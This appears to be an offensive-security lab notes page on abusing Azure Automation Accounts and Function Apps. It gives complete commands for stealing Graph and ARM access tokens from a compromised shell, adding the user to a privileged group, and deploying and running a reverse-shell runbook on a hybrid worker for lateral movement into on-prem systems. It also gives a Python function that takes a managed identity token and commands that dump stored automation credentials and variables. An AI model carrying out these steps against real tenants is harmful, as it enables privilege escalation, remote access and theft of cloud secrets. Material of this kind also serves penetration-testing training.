Automation Accounts & Function Apps
Last updated
Last updated
Azure's automation service that allows to automate tasks for Azure resources, on-prem infra and other cloud providers. (Like a cronjob in Azure).
• Supports Process Automation using Runbooks, Configuration Management (supports DSC), update management and shared resources (credentials, certificates, connections etc) for both Windows and Linux resources hosted on Azure and on-prem.
• Some common scenarios for automation as per Microsoft:
– Deploy VMs across a hybrid environment using run books.
– Identify configuration changes
– Configure VMs
– Retrieve Inventory
When you get access to a automation account, it will almost for sure get you access to credentials/secrets to escalate your privileges!
When you want to automate things, you will probably need to store secrets somewhere. In Azure, we can save these in Shared Resources:
Runbook contains the automation logic and the code that you want to execute. Azure provides both graphical and textual runbooks. You can use the shared resources and the privileges of the Run As account from a runbook.
You can run a runbook on a Azure sandbox OR on a Hybrid Worker. This is used when a runbook is to be run on a non-azure machine. The hybrid worker job run as SYSTEM on Windows and nxautomation account on Linux.
If you have a shell on a Windows machine that is connected to a Azure user, list the objects. Run az ad signed-in-user list-owned-objects
and see what this access_token has access to:
Next, get a ms-graph token:
az account get-access-token --resource-type ms-graph
And in a new local powershell session (preferably), connect to ms-graph:
$token = 'E....'
Connect-MgGraph -AccessToken ($Token | ConvertTo-SecureString -AsPlainText -Force)
Get-Since our user is only the owner of the Automation Admins
group, we need to add the user as a member to get permissions.
$params = @{ "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/f66e133c-bd01-4b0b-b3b7-xxxxx"}
New-MgGroupMemberByRef -GroupId e6870783-1378-4078-b242-xxxxx-BodyParameter $params
Next, back on the revshell check for automation accounts:
az automation account list
[
{
"automationHybridServiceUrl": null,
"creationTime": "2021-03-17T14:40:05.340000+00:00",
"description": null,
"disableLocalAuth": null,
"encryption": null,
"etag": null,
"id": "/subscriptions/b413826f-108d-4049-8c11-xxxx/resourceGroups/Engineering/providers/Microsoft.Automation/automationAccounts/HybridAutomation",
"identity": null,
"lastModifiedBy": null,
"lastModifiedTime": "2022-10-30T14:26:31.586666+00:00",
"location": "switzerlandnorth",
"name": "HybridAutomation",
"privateEndpointConnections": null,
"publicNetworkAccess": null,
"resourceGroup": "Engineering",
"sku": null,
"state": null,
"systemData": null,
"tags": {},
"type": "Microsoft.Automation/AutomationAccounts"
}
]
Next, request a access-token for ARM (because we would like to interact with the automation account):
az account get-access-token
Now, using both the access-token and mg-graphtoken we can connect using Connect-AzAccount:
Connect-AzAccount -AccessToken $accesstoken -MicrosoftGraphAccessToken $token -AccountId f66e133c-bd01-4b0b-b3b7-b0b-b3b7-xxxx
And list the role assignment:
Get-AzRoleAssignment
RoleAssignmentName : c981e312-78da-4698-9702-xxxxx
RoleAssignmentId : /subscriptions/b413826f-108d-4049-8c11-xxxxx/resourceGroups/Engineering/providers/Microsoft.Automation/automationAccounts/HybridAutomation/providers/Microsoft.Authorization/roleAssignments/c981e312-78da-4698-9702-e7424fae94f8
Scope : /subscriptions/b413826f-108d-4049-8c11-xxxxx/resourceGroups/Engineering/providers/Microsoft.Automation/automationAccounts/HybridAutomation
DisplayName : Automation Admins
SignInName :
RoleDefinitionName : Contributor
RoleDefinitionId : b24988ac-6180-42a0-ab88-xxxx
ObjectId : e6870783-1378-4078-b242-xxxx
ObjectType : Group
CanDelegate : False
Description :
ConditionVersion :
Condition :
The contributor role for on HybridAutomation can create an runbook
. But before we do that let's check if we can get command execution on a hybrid worker (e.g. a cloud to on-prem lateral movement). We will use Get-AzAutomationHybridWorkerGroup
to check if there are any hybrid workers.
Get-AzAutomationHybridWorkerGroup -AutomationAccountName HybridAutomation -ResourceGroupName Engineering
ResourceGroupName : Engineering
AutomationAccountName : HybridAutomation
Name : Workergroup1
RunbookWorker : {defeng-adcsrv.xx.corp}
GroupType : User
Next we will create a runbook on hybridautomation with a Powershell reverse shell:
Import-AzAutomationRunbook -Name Student60 -Path C:\AzAD\Tools\studentx.ps1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Type PowerShell -Force -Verbose
And publish it:
Publish-AzAutomationRunbook -RunbookName student60 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose
Finally, run it:
Start-AzAutomationRunbook -RunbookName student60 -RunOn Workergroup1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose
If everything went well, you will have a reverse shell inside the Hybrid Worker!
Function Apps (Azure Functions), support continuous deployment. A source code update triggers a deployment to Azure. The following source code locations are supported:
Azure Repos
GitHub
Bitbucket
When we find a Github account that is directly pushing on main when we make a commit, and is starting a action, we can for example copy and paste the following Python script:
import logging, os
import azure.functions as func
def main(req: func.HttpRequest) -> func.HttpResponse:
logging.info('Python HTTP trigger function processed a request.')
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
cmd = 'curl "%s?resource=https://management.azure.com&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
return func.HttpResponse(val, status_code=200)
This gets the access token for the managed identity. To know trigger this code, we will need a endpoint.
Export-AzAutomationRunbook -ResourceGroupName "mbt-rg-5" -AutomationAccountName "automation-dev" -Name Schedule-VMStartStop -Output .
Get-AzAutomationCredential -ResourceGroupName "mbt-rg-5" -AutomationAccountName "automation-dev" | Format-Table Name, CreationTime, Description
Get-AzAutomationVariable -ResourceGroupName "mbt-rg-5" -AutomationAccountName "automation-dev" | fl Name, Value, Description